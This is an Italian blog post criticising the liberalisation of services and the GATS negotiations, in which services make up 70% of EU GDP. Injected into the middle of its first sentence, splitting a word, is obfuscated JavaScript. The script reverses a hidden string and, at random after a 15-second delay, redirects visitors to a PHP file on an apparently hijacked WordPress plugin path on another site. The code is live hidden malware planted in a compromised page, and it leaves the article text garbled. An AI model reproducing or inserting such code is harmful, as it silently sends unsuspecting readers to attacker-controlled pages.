La grande torta dei servizi

image_pdfimage_print

I servizi costituiscono il 70% del Prodotto Interno Lordo in Europa. Questo dato ci fa capire quale gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande affare rappresenti lo sfruttamento speculativo di un mercato ‘a domanda rigida’, cioè settori di cui non si può fare a meno: dalla scuola alla sanità, dai trasporti alle comunicazioni, al collocamento dei lavoratori, fino ai servizi finanziari. Ma questi settori sono delicati per la vita quotidiana di ciascuno di noi ed estremamente importanti per la qualità e il benessere della gente. Ad esempio la liberalizzazione dei servizi finanziari ha causato nel Sud Est Asiatico una crisi strutturale devastante.
Il negoziato sui servizi prevede che entro maggio 2005 tutti i paesi membri dell’Unione Europea presentino dei nuovi elenchi con le categorie di servizi che sono disposti a liberalizzare e gli elenchi con le richieste dei settori che chiedono agli altri Paesi membri di aprire alla competizione. Secondo le ultime informazioni disponibili, appena una quarantina su 148 Paesi membri hanno presentato le proprie offerte.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *